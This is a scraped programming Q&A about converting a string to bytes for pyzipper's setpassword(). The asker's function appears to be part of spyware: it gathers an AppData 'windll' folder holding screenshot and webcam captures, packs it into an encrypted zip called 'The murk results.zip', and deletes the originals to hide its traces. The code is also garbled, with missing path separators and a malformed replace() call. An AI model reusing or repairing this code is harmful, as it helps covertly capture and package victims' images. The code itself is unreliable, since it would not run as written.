How to convert string to binary for setpassword() function in Python

Question:

This code writes to a string-type password random numbers and symbols. Then create a zip file and write there another zip file and then It needs to set a password to the zip file, but It wants a bin type, not a string to set the password. So I tried a lot of things but every time get the error. Can you help me, please with this problem?

my code

import shutil
import os
import random
import pyzipper
def makemeZip(password):
    try:
        user = os.environ['USERPROFILE'].replace("C\Users\")
    except:
        dox = "qwertyuiopasdfghjklzxcvbnm1234567890"
        for i in range (30):
            password += dox[random.randint(0,len(dox)-1)]
        path = os.environ['USERPROFILE'] + os.sep + r'AppDataLocal'
        shutil.make_archive(fr'{path}cashe', 'zip', fr'{path}windll')
        shutil.move(fr'{path}cashe.zip',"cashe.zip")
        with pyzipper.AESZipFile('The murk results.zip','w',compression=pyzipper.ZIP_STORED,encryption=pyzipper.WZ_AES) as logs:
            print(password)
            logs.setpassword(password)# transform password to binary
            logs.write("cashe.zip")
        os.remove("cashe.zip")
    shutil.rmtree(rf'{path}windll', ignore_errors=True)
    try:
        os.remove(rf'{path}windllsreenshot.jpg')
        os.remove(rf'{path}windllwebcam.png')
    except:
        pass
    return password
Asked By: Nick Vinesmoke

||

Answers:

Only this function works incorrectly and without errors

pwd = bytes(password, "UTF-8")
Answered By: Nick Vinesmoke
Categories: questions Tags: , , ,
Answers are sorted by their score. The answer accepted by the question owner as the best is marked with
at the top-right corner.